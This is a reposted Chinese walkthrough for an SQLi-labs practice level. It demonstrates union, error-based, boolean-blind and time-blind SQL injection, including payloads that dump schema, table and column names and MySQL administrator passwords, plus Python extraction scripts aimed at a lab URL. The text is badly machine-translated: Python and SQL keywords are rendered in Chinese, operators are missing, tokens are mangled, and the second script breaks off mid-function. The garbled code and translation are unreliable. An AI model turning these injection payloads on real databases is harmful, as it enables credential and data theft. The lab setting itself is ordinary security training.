SQLi LABS Less,sqli labs less12

SQLi LABS Less?id0union%a0select%a01,(database())
,3其余脱库操作时,将下图圈中的位置替换为SQL语句即可: 常用的脱库语句:
# 获取所有数据库

?id=0\’union%a0select%a01,

(数据库())

,3\’

对于其他数据库删除操作,只需将下图中圈出的位置替换为您的SQL语句即可。

常用的排除语句有:

# 获取所有数据库

选择group_concat(模式名称)

来自information_schema.schemata

# 获取安全库中的所有表

选择group_concat(表名)

来自information_schema.tables

其中表模式=\’安全\’

# 获取users表的所有字段

选择group_concat(列名)

来自information_schema.columns

其中table_schema=\’安全\’ 和table_name=\’用户\’

# 获取数据库管理员用户密码

选择a0group_concat(用户,密码)

来自%a0mysql.user%a0where%a0user=\’Mitsuan\’

方式二:报错注入

有关如何使用错误注入的详细说明,请参阅我的另一篇文章。

使用错误注入详解,原理+步骤+实用教程

第一步、判断注入点

请在地址栏中输入“?id=1”

从错误信息中可以看出,注入点是单引号字符类型注入。

第二步、判断报错函数是否可用

在地址栏中输入“?id=1’anandd%a0updatexml(1,0x7e,3)anandd’”。

此页面显示错误报告功能并确认错误报告功能可用。

第三步、脱库

以您当前的数据库为例,在地址栏中键入以下内容:

?id=1\’anandd%a0updatexml(1,

连接(0x7e,

子字符串(

(数据库())

, 1, 32)

,3) 和\’

对于其他数据库删除操作,只需将下图中圈出的部分替换为您的SQL语句即可。

方式三:布尔盲注

有关如何使用布尔盲注的详细说明,请参阅我的其他文章。

布尔盲注如何使用详解,原理+步骤+实用教程

第一步、判断注入点

如果在地址栏中输入“?id=1’anandd’1”,页面将正常显示。

如果在地址栏输入“?id=1’anandd’0”,页面会显示异常(空)。

第二步、判断长度

以您当前的数据库为例,检查数据库名称的长度是否大于1。在地址栏中输入:

?id=1\’andd%a0

长度(

(数据库())

)1

%a0andd\’1

长度必须大于1,以保证页面正确显示且负载可用。

从1 开始,逐步确定长度,然后用脚本进行测试。

第三步、枚举字符

截取库名称的第一个字符,将其转换为ASCLL 代码,并检查ASCLL 代码是否大于1。在地址栏中输入:

?id=1\’andd%a0

ASCII (

子字符串(

(数据库())

,1,1)

)1

%a0andd\’1

字符的ASCLL 代码必须大于1,以确保页面显示正确且负载可用。

确定字符的ASCLL 代码是否按顺序等于32 到162。

确定第一个字符后,稍后使用脚本通过按顺序确定其余字符来推断解决方案。

脱库

Python自动推理脚本如下,可以根据需要进行修改。

导入请求

# 将URL 替换为您的射击场级别URL

# 更改两个对应的payload

# 目标URL(无参数)

网址=\’http://03b4acd5ef174f1cb83ca0fba018e9b7.app.mituan.zone/Less-26/\’

# 用于推断长度的有效负载

Payload_len=\’\’\’?id=1\’anandd%a0

长度(

(数据库())

)={n}

%a0anand\’1\’\’

# 用于枚举字符的有效负载

Payload_str=\’\’?id=1\’anandd%a0

ASCII (

子字符串(

(数据库())

,{l},1)

)={n}

%a0anand\’1\’\’

# 获取长度

def getLength(url, 有效负载):

length=1 # 初始测试长度为1

而True:

Response=request.get(url=url+payload_len.format(n=长度))

# 如果页面上存在该内容则表示成功。

如果响应中包含“您的登录名”。文本:

print(\’长度测试完成。长度为:\’, length,)

返回长度;

: 其他

print(\’测试长度:\’,length)

length +=1 # 增加测试长度

# 获取字符

def getStr(url, 负载, 长度):

str=\’\’ #初始表名/库名为空

# 在循环的第一级截取每个字符

: 表示范围(1, 长度+ 1) 内的l

# 循环的第二级枚举了截取该字符的所有可能性。

对于(33, 126): 范围内的n

响应=request.get(url=url+payload_str.format(l=l, n=n))

# print(\’猜猜\’, n)

# 如果页面上存在该内容则表示成功。

如果响应中包含“您的登录名”。文本:

字符串+=字符(n)

print(\’第\’, l, \’成功猜出第\’个字符: \’, str)

休息;

返回一个字符串。

# 开始猜测

长度=getLength(url, Payload_len)

getStr(url,payload_str,长度)

执行结果如下。

对于其他数据库删除操作,只需将下图中圈出的位置替换为您的SQL语句即可。

在方法1的最后,提供了常用库的删除语句。

方式四:时间盲注

有关如何使用时间盲注的详细说明,请参阅我的另一篇文章。

SQL注入时盲注入,原理+步骤+实用思路

第一步、判断注入点

如果在地址栏中输入“?id=1’anandd’1”,页面将正常显示。

如果在地址栏输入“?id=1’anandd’0”,页面会显示异常(空)。

第二步、判断长度

例如,对于我当前使用的数据库,如果数据库名称的长度大于1,则在地址栏中输入以下内容时会出现5秒的延迟:

?id=1\’andd%a0

如果(

(长度(

(数据库())

)1)

, 睡眠(5), 3)

阿南德\’1

库名称的长度必须大于1,因此页面将延迟响应5秒以确保有效负载可用。

测试长度从1开始依次增加,其余由脚本决定。

第三步、枚举字符

以我们当前的数据库为例:截取第一个字符,转换为ASCLL码,判断是否大于1。在地址栏中输入:

?id=1\’andd%a0

如果(

(ASCII(

子字符串(

(数据库())

,1,1)

)1)

, 睡眠(5), 3)

阿南德\’1

该字符的ASCLL 代码必须大于1,因此页面将延迟响应5 秒以确保有效负载可用。

按顺序判断ASCLL码是否等于(32~126)。

确定第一个字母的内容后,按顺序猜测其余字母。使用事后脚本来提高效率。

脱库

Python自动推理脚本如下,可以根据需要进行修改。

导入请求

导入时间

# 将URL 替换为您的射击场级别URL

# 更改两个对应的payload

# 目标URL(无参数)

网址=\’http://03b4acd5ef174f1cb83ca0fba018e9b7.app.mituan.zone/Less-26/\’

# 用于推断长度的有效负载

Payload_len=\’\’\’?id=1\’anandd%a0

如果(

(长度(

(数据库())

)={n})

, 睡眠(5), 3)

anand\’1\’\’

# 用于枚举字符的有效负载

Payload_str=\’\’?id=1\’anandd%a0

如果(

(ASCII(

子字符串(

(数据库())

,{n},1)

)={r})

, 睡眠(5), 3)

anand\’1\’\’

# 获取长度

def getLength(url, 有效负载):

length=1 # 初始测试长度为1

## 写在最后

**最后,我想重申一下,学习不是攀登陡峭的山峰,而是滴水穿石,日积月累。持续学习变得越来越困难,尤其是当你进入职场后。就像在浩瀚的大海上独自划船,如果你放松警惕,你可能会被大浪卷走。但对于我们程序员来说,学习是生存的基础,是在激烈的市场竞争中立于不败之地的关键。如果我们停止学习,我们就像逆水行舟;如果我们不前进,我们最终会被时间的洪流淘汰。因此,不断获取新的知识不仅提高了自己,也是对自己的一次有价值的投资。让我们不断完善自我,与时俱进,谱写辉煌篇章。 **

如果您想要完整版PDF学习资源,请私信我们。

以上#SQLi LABS Less相关内容来源仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92141.html

(0)
CSDN's avatarCSDN
上一篇 2024年6月25日 上午3:08
下一篇 2024年6月25日 上午3:08

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注